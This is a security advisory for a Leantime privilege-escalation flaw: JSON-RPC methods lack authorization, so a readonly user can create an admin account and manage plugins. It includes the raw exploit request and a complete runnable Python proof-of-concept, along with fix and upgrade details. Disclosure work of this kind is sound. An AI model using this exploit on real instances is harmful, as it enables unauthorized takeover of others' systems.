GHSA-54mm-6729-r5wp: High severity composer/leantime/leantime vulnerability
Summary
Any authenticated Leantime user - including the lowest-privilege readonly role - can escalate to full administrative access by calling the JSON-RPC method leantime.rpc.api.api.createApiKeyWithProjects with an attacker-chosen role value. The server creates a new account at that role with no authorization check, and the resulting credentials work as a fully interactive admin login through the ordinary web UI. The same root cause (missing per-method authorization on JSON-RPC-exposed service methods) also leaves the Plugins service's installPlugin, enablePlugin, disablePlugin, and removePlugin methods callable by any authenticated user with no role check, even though their web-UI equivalents correctly require an admin/owner role.
Details
Leantime's JSON-RPC API (app/Domain/Api/Controllers/Jsonrpc.php) reflects any public method on any @api-annotated service class and dispatches it at leantime.rpc.{domain}.{service}.{method}. Per-method authorization is enforced by PermissionEnforcer::enforce() (app/Core/Auth/Permissions/PermissionEnforcer.php), which reads a #[RequiresPermission(...)] PHP attribute off the target method - but when that attribute is absent, enforce() silently returns and allows the call through.
Api::createApiKeyWithProjects(array $values, ?array $projects) (app/Domain/Api/Services/Api.php) is @api-exposed and carries no #[RequiresPermission] attribute. It forwards $values - including a caller-supplied role - directly into createAPIKey() → Users\Repositories\Users::addUser(), with no server-side clamping of role against the calling user's own privilege level:
php // app/Domain/Api/Services/Api.php / @api / public function createApiKeyWithProjects(array $values, ?array $projects): array|false { $apiKeyValues = $this->createAPIKey($values); // no #[RequiresPermission], no role check ... }
The equivalent web route (NewApiKey controller) correctly gates account creation behind an admin-only role check (Auth::authOrRedirect([Roles::$admin, ...])), but that gate is bypassed entirely by calling the service directly through JSON-RPC.
Separately, Plugins::installPlugin(), enablePlugin(), disablePlugin(), and removePlugin() (app/Domain/Plugins/Services/Plugins.php, lines ~266/299/320/342) share the same gap: all four are @api-exposed with no #[RequiresPermission], while their web-controller equivalents (Myapps.php, Details.php) correctly require Roles::$owner/Roles::$admin.
Authenticating to the JSON-RPC endpoint with an ordinary browser session cookie (rather than a dedicated API key) is sufficient, provided the request carries an X-Requested-With: XMLHttpRequest header (app/Core/Middleware/StartSession.php) - this is exactly what the application's own first-party JS client already sends, so no special tooling beyond a normal authenticated session is needed.
PoC
A runnable Python PoC (requests library only) reproduces this end-to-end; see the attached poc.py. Steps:
1. Create/authenticate as a readonly-role account (the lowest privilege level). Confirm it is correctly blocked (HTTP 403) from an admin-only page, e.g. /plugins/myapps. 2. From that same low-privilege session, send: POST /api/jsonrpc Content-Type: application/json X-Requested-With: XMLHttpRequest
{"jsonrpc":"2.0","id":1,"method":"leantime.rpc.api.api.createApiKeyWithProjects", "params":{"values":{"firstname":"poc","role":40,"status":"a"},"projects":[]}} The server responds HTTP 200 with the newly created account's user/passwordClean and "role":40 (admin) in the JSON body. 3. Log in through the normal /auth/login form using the returned user/passwordClean. The resulting session now has full, interactive access to /plugins/myapps (HTTP 200) - the exact page that returned 403 in step 1.
Reproduced against a local instance built from this repository's own .dev Docker tooling (.dev/docker-compose.yaml), with dependencies installed via composer install / npx mix and no modifications to application code.
Impact
Complete compromise of any Leantime instance by an attacker who controls, or can register/be granted, any authenticated account - including the lowest-privilege readonly role. No admin credentials, tokens, or prior access beyond an ordinary low-privilege login are required. This is a full authenticated-to-admin privilege escalation (CWE-862 Missing Authorization, CWE-269 Improper Privilege Management). Combined with the plugin-management gap described above, it further extends to arbitrary plugin install/enable/disable/remove, a path toward code-execution-level impact tracked from the same root cause.
Script : poc.py python #!/usr/bin/env python3 """ What this script does, against a target Leantime instance: 1. Logs in as a LOW-PRIVILEGE account (readonly role by default). 2. Confirms the account is correctly blocked by the normal web UI from an admin-only page (expects HTTP 403) -- this establishes the account truly has no admin rights before the exploit runs. 3. Calls leantime.rpc.api.api.createApiKeyWithProjects over JSON-RPC using nothing but that account's own ordinary session cookie, requesting role=40 (admin). No admin/API-key credential is used anywhere in this step -- only the low-privilege session established in step 1. 4. Logs in through the completely ordinary web login form using the generated username/password from step 3, and confirms that account now has full, interactive admin access to the same admin-only page that blocked the original low-privilege account in step 2. (The record is created with source='' rather than source='api' -- createAPIKey() never sets that column -- so it does NOT work as an x-api-key credential, but it is a fully functional role=40 web login, which is a stronger and more direct proof of impact.)
Requirements: pip install requests
Usage: python3 poc.py --url http://localhost:5080 \\ --username lowpriv@leantime.test --password 'LowPriv123!' """
import argparse import sys
import requests
def rpccall(session: requests.Session, baseurl: str, method: str, params: dict, extraheaders: dict | None = None): """Call a JSON-RPC method. Sends X-Requested-With so the session-based guard actually loads the caller's real, persisted session (see StartSession.php:65) -- without it, API requests get a fresh, empty, in-memory session and every call 401s regardless of login state.""" headers = { "Content-Type": "application/json", "X-Requested-With": "XMLHttpRequest", } if extraheaders: headers.update(extraheaders)
resp = session.post( f"{baseurl}/api/jsonrpc", json={"jsonrpc": "2.0", "id": 1, "method": method, "params": params}, headers=headers, ) return resp
def main(): parser = argparse.ArgumentParser(description=doc, formatterclass=argparse.RawDescriptionHelpFormatter) parser.addargument("--url", required=True, help="Base URL of the target Leantime instance, e.g. http://localhost:5080") parser.addargument("--username", required=True, help="Email of a LOW-privilege test account (e.g. readonly role)") parser.addargument("--password", required=True, help="Password for that account") parser.addargument("--admin-check-path", default="/plugins/myapps", help="An admin-only web page used to confirm the account has no admin rights (default: /plugins/myapps)") parser.addargument("--insecure", action="storetrue", help="Disable TLS verification (for self-signed local/dev instances)") args = parser.parseargs()
verify = not args.insecure baseurl = args.url.rstrip("/") s = requests.Session() s.verify = verify
print(f"[] Target: {baseurl}")
# Step 1: log in as the low-privilege account via the ordinary web form. print(f"[] Logging in as low-privilege account: {args.username}") s.get(f"{baseurl}/auth/login") # prime session cookie loginresp = s.post( f"{baseurl}/auth/login", data={ "username": args.username, "password": args.password, "redirectUrl": "/dashboard/home", # avoid the unrelated empty-redirectUrl 500 bug }, allowredirects=False, ) if loginresp.statuscode not in (302, 303): print(f"[!] Login did not redirect as expected (got {loginresp.statuscode}). Aborting.") sys.exit(1) print("[+] Login succeeded (session cookie established).")
# Step 2: confirm the account genuinely has no admin rights via the web UI. checkresp = s.get(f"{baseurl}{args.admincheckpath}", allowredirects=False) if checkresp.statuscode == 403: print(f"[+] Confirmed: web UI correctly blocks this account from {args.admincheckpath} (HTTP 403).") else: print(f"[!] Expected HTTP 403 from {args.admincheckpath}, got {checkresp.statuscode}. " f"Continuing anyway, but this account may not be low-privilege as assumed.")
# Step 3: the actual privilege escalation -- same session, no API key used. print("[] Calling leantime.rpc.api.api.createApiKeyWithProjects with role=40 (admin) " "using ONLY the low-privilege session from step 1 ...") escresp = rpccall( s, baseurl, "leantime.rpc.api.api.createApiKeyWithProjects", {"values": {"firstname": "poc-escalated-admin-key", "role": 40, "status": "a"}, "projects": []}, )
try: escjson = escresp.json() except ValueError: print(f"[!] Non-JSON response (HTTP {escresp.statuscode}): {escresp.text[:500]}") sys.exit(1)
if "error" in escjson: print(f"[!] Exploit call failed: {escjson['error']}") print(" (If this is 'Method is not available via API' or an AuthorizationException, " "the target may already be patched.)") sys.exit(1)
result = escjson["result"] newuser = result["user"] newpass = result["passwordClean"] newrole = result["role"] newid = result["id"] apikey = f"lt{newuser}{newpass}"
print("[+] VULNERABLE: server created a new account with attacker-chosen role, " "with no permission check on the calling (low-privilege) account.") print(f" New account id={newid} role={newrole} (40 == admin)") print(f" Generated credentials -- username: {newuser} password: {newpass}") print(f" (Nominal API key form: {apikey} -- see note below.)")
# Step 4: prove the new account carries real, interactive admin privilege # by logging in through the ORDINARY web login form and hitting the same # admin-only page that blocked the original low-privilege account. print("[] Logging in through the normal web UI with the generated credentials ...") adminsession = requests.Session() adminsession.verify = verify adminsession.get(f"{baseurl}/auth/login") adminloginresp = adminsession.post( f"{baseurl}/auth/login", data={"username": newuser, "password": newpass, "redirectUrl": "/dashboard/home"}, allowredirects=False, ) if adminloginresp.statuscode not in (302, 303): print(f"[!] Web login with generated credentials failed (HTTP {adminloginresp.statuscode}).") sys.exit(1)
admincheckresp = adminsession.get(f"{baseurl}{args.admincheckpath}", allowredirects=False) if admincheckresp.statuscode == 200: print(f"[+] CONFIRMED: the account created by a LOW-PRIVILEGE user now has full, " f"interactive admin access to {args.admincheckpath} (HTTP 200) -- " f"the exact page that returned 403 for the original account in step 2.") else: print(f"[!] Expected HTTP 200 from {args.admincheckpath} with the escalated account, " f"got {admincheckresp.statuscode}.")
if name == "main": main()
---
Maintainer note (resolution): Addressed by the native permission engine (v3.9.0): the affected JSON-RPC service methods now carry #[RequiresPermission] and are enforced at the API boundary (users/clients/projects mutations require the appropriate permission; self-escalation via editUser/patchUser is blocked). Remaining gates ship in the upcoming release.
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
composer/leantime/leantimeto a version that resolves this vulnerability.Fixed in 3.10.0 - Upgrade
Upgrade
Leantimeto a version that resolves this vulnerability.Fixed in v3.9.0
Event History
Frequently Asked Questions
Does exploitation require an existing privileged account?
No. Any authenticated Leantime user can exploit the issue, including a user assigned the lowest-privilege readonly role. No user interaction is required.
What level of access can an attacker gain?
An attacker can invoke the JSON-RPC createApiKeyWithProjects method with an attacker-selected role value, creating credentials that can be used for a fully interactive administrative login through the normal web UI.
Can a low-privilege user also change installed plugins?
Yes. Any authenticated user can call the JSON-RPC Plugins service methods installPlugin, enablePlugin, disablePlugin, and removePlugin without a role check, despite the corresponding web UI actions requiring an admin or owner role.